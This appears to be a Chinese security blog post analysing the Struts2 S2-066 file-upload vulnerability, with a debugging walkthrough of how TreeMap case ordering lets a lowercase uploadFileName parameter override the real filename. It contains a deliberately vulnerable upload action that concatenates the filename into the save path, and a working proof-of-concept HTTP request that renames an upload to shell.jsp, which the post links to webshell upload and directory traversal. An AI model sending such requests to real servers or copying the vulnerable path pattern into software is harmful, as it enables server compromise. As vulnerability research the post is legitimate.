Struts2 S2-066漏洞浅析
zh1z**** 发表于 江苏 漏洞分析 1359浏览 · 2024-02-24 14:14

Struts2 S2-066漏洞浅析

环境搭建

可以使用官方的showcase https://archive.apache.org/dist/struts/6.3.0/

也可以IDEA maven struts2模版直接生成

uploadAction

package com.struts2;

import com.opensymphony.xwork2.ActionSupport;
import org.apache.commons.io.FileUtils;
import org.apache.struts2.ServletActionContext;

import java.io.*;

public class UploadAction extends ActionSupport {

    private static final long serialVersionUID = 1L;


    private File upload;

    // 文件类型,为name属性值 + ContentType
    private String uploadContentType;

    // 文件名称,为name属性值 + FileName
    private String uploadFileName;

    public File getUpload() {
        return upload;
    }

    public void setUpload(File upload) {
        this.upload = upload;
    }

    public String getUploadContentType() {
        return uploadContentType;
    }

    public void setUploadContentType(String uploadContentType) {
        this.uploadContentType = uploadContentType;
    }

    public String getUploadFileName() {
        return uploadFileName;
    }

    public void setUploadFileName(String uploadFileName) {
        this.uploadFileName = uploadFileName;
    }

    public String doUpload() {
       // String path = ServletActionContext.getServletContext().getRealPath("/")+"upload";
        String path = "/tmp";
        String realPath = path + File.separator +uploadFileName;
        try {
            FileUtils.copyFile(upload, new File(realPath));
        } catch (Exception e) {
            e.printStackTrace();
        }
        return SUCCESS;
    }

}

请求包

POST /S2_066_demo_war_exploded/upload.action HTTP/1.1
Host: localhost:9098
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: JSESSIONID=67F2A7C42488ED1B38910F7938FBAE8B
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfCZX2JnRcn31usNI
Content-Length: 187

------WebKitFormBoundaryfCZX2JnRcn31usNI
Content-Disposition: form-data; name="upload"; filename="aaa.tx1t"
Content-Type: text/plain

xxx
------WebKitFormBoundaryfCZX2JnRcn31usNI--

漏洞复现

使用如下包即可将上传文件名覆盖为shell.jsp

POST /S2_066_demo_war_exploded/upload.action?uploadFileName=shell.jsp HTTP/1.1
Host: localhost:9098
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: JSESSIONID=67F2A7C42488ED1B38910F7938FBAE8B
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfCZX2JnRcn31usNI
Content-Length: 187

------WebKitFormBoundaryfCZX2JnRcn31usNI
Content-Disposition: form-data; name="Upload"; filename="aaa.tx1t"
Content-Type: text/plain

xxx
------WebKitFormBoundaryfCZX2JnRcn31usNI--

调试分析

相关的commit在https://github.com/apache/struts/commit/162e29fee9136f4bfd9b2376da2cbf590f9ea163

可以看到针对core/src/main/java/org/apache/struts2/dispatcher/HttpParameters.java做的针对大小写的修改,测试类一目了然

随便下断点进去看堆栈,找对request的处理上传及使用HttpParameters相关的interceptor

其中在struts2-core-6.3.0.jar!/org/apache/struts2/dispatcher/Dispatcher.class#serviceAction中有如下的一个调用

这里将request中的参数全部取出来放入extraContext.parametars中,如下图

之后是一些预处理,找对应Action信息之类并实例化之类的,还未将filename参数赋值给action的成员变量

继续翻堆栈可以看到org/apache/struts2/interceptor/FileUploadInterceptor.class

首先获取表单中的filename也就是正常的文件名

而后面多出了一个String fileNameName = inputName + "FileName";(UploadFileName)变量,最终也被添加到了action的param中

之后跟到com/opensymphony/xwork2/interceptor/ParametersInterceptor.class

后续大部分是对请求参数的处理,将请求中的参数添加到ActionContext中

而这里newParamas是TreeMap类型

后续会再进入一次ParametersInterceptor.class做处理,而这次会将请求参数(如Content-Type、UploadFileName)赋值给UploadAction类

跟进this.setParameters(action, stack, parameters);

之后就是给action的成员变量赋值的过程

而这里因为TreeMap大小写的原因,小写的在后,大写在前,导致先给action的成员变量uploadFileName赋值的是正常的文件名再赋值恶意的文件名造成了漏洞

完整堆栈

doUpload:49, UploadAction (com.struts2)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeMethodInsideSandbox:1245, OgnlRuntime (ognl)
invokeMethod:1230, OgnlRuntime (ognl)
callAppropriateMethod:1958, OgnlRuntime (ognl)
callMethod:68, ObjectMethodAccessor (ognl)
callMethodWithDebugInfo:98, XWorkMethodAccessor (com.opensymphony.xwork2.ognl.accessor)
callMethod:90, XWorkMethodAccessor (com.opensymphony.xwork2.ognl.accessor)
callMethod:2034, OgnlRuntime (ognl)
getValueBody:97, ASTMethod (ognl)
evaluateGetValueBody:212, SimpleNode (ognl)
getValue:258, SimpleNode (ognl)
getValue:586, Ognl (ognl)
getValue:550, Ognl (ognl)
lambda$callMethod$4:599, OgnlUtil (com.opensymphony.xwork2.ognl)
execute:-1, 994887133 (com.opensymphony.xwork2.ognl.OgnlUtil$$Lambda$118)
compileAndExecuteMethod:642, OgnlUtil (com.opensymphony.xwork2.ognl)
callMethod:599, OgnlUtil (com.opensymphony.xwork2.ognl)
invokeAction:434, DefaultActionInvocation (com.opensymphony.xwork2)
invokeActionOnly:307, DefaultActionInvocation (com.opensymphony.xwork2)
invoke:259, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:256, DebuggingInterceptor (org.apache.struts2.interceptor.debugging)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2) [24]
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
doIntercept:179, DefaultWorkflowInterceptor (com.opensymphony.xwork2.interceptor)
intercept:99, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2) [23]
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
doIntercept:263, ValidationInterceptor (com.opensymphony.xwork2.validator)
doIntercept:49, AnnotationValidationInterceptor (org.apache.struts2.interceptor.validation)
intercept:99, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2) [22]
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:78, FetchMetadataInterceptor (org.apache.struts2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2) [21]
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:57, CoopInterceptor (org.apache.struts2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2) [20]
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:55, CoepInterceptor (org.apache.struts2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2) [19]
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
doIntercept:143, ConversionErrorInterceptor (com.opensymphony.xwork2.interceptor)
intercept:99, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2) [18]
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
doIntercept:152, ParametersInterceptor (com.opensymphony.xwork2.interceptor)
intercept:99, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2) [17]
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
doIntercept:152, ParametersInterceptor (com.opensymphony.xwork2.interceptor)
intercept:99, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2) [16]
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:202, StaticParametersInterceptor (com.opensymphony.xwork2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2) [15]
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:67, MultiselectInterceptor (org.apache.struts2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2) [14]
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:133, DateTextFieldInterceptor (org.apache.struts2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2) [13]
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:89, CheckboxInterceptor (org.apache.struts2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2) [12]
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:320, FileUploadInterceptor (org.apache.struts2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2) [11]
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:101, ModelDrivenInterceptor (com.opensymphony.xwork2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2) [10]
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:142, ScopedModelDrivenInterceptor (com.opensymphony.xwork2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2) [9]
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:161, ChainingInterceptor (com.opensymphony.xwork2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2) [8]
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
doIntercept:175, PrepareInterceptor (com.opensymphony.xwork2.interceptor)
intercept:99, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2) [7]
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:59, CspInterceptor (org.apache.struts2.interceptor.csp)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2) [6]
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:140, I18nInterceptor (org.apache.struts2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2) [5]
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:99, HttpMethodInterceptor (org.apache.struts2.interceptor.httpmethod)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2) [4]
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:154, ServletConfigInterceptor (org.apache.struts2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2) [3]
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:229, AliasInterceptor (com.opensymphony.xwork2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2) [2]
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:196, ExceptionMappingInterceptor (com.opensymphony.xwork2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2) [1]
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
execute:48, StrutsActionProxy (org.apache.struts2.factory)
serviceAction:651, Dispatcher (org.apache.struts2.dispatcher)
executeAction:79, ExecuteOperations (org.apache.struts2.dispatcher)
handleRequest:157, StrutsPrepareAndExecuteFilter (org.apache.struts2.dispatcher.filter)
tryHandleRequest:140, StrutsPrepareAndExecuteFilter (org.apache.struts2.dispatcher.filter)
doFilter:128, StrutsPrepareAndExecuteFilter (org.apache.struts2.dispatcher.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:199, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:543, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:139, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:690, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:615, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:818, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1627, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

小结

这个洞涉及到变量覆盖及参数顺序问题,涉及了大小写,大写先put,小写后put,而后put导致了覆盖。为什么?因为uploadAction写法问题,它获取filename最终要赋值给类中的成员变量,这就有两种方式了,以下为例:

Content-Disposition: form-data; name="UploadFile"; filename="1.txt"

这一种通过http mutipart格式传输文件,上传时先获取到名为UploadFile的file-paramter再获取该paramter的filename-paramter,从而拿到文件名,这里的操作是FileUploadInterceptor完成的,并在后续set给action的成员变量

Content-Disposition: form-data; name="uploadFileFileName"

这个则是在struts2开始时赋值到httpparamter中,并在ParamterInterceptor中通过ognl表达式给成员变量赋值时再一次set

而因为大小写决定了treemap(paramters)中的顺序,导致先set UploadFile再 set uploadFileFileName会出现覆盖

  • struts2文件上传时会多一个文件名参数并且可以从请求中获取value给其赋值
  • 利用TreeMap大小写的tips,大写在前一顺位,小写在后一顺位,导致小写的文件名参数值可以覆盖大写文件名参数值
  • 文件上传的Action需要按照漏洞格式的写法String realPath = path + File.separator +uploadFileName;也就是文件保存路径要拼接uploadFileName成员变量

关于漏洞场景

白名单上传,配合这个漏洞达到目录穿越及webshell上传,只是action需要知道成员变量值是什么。审计时遇到的情况会多一点吧

思考

  • 是否能覆盖其他参数?

  • 其中还有参数名的写法问题,直接引y4师傅的结论

    写法要么是UploadFileName要么是uploadFileName

Reference

https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%88%86%E6%9E%90-S2-066/

0 条评论
某人
表情
可输入 255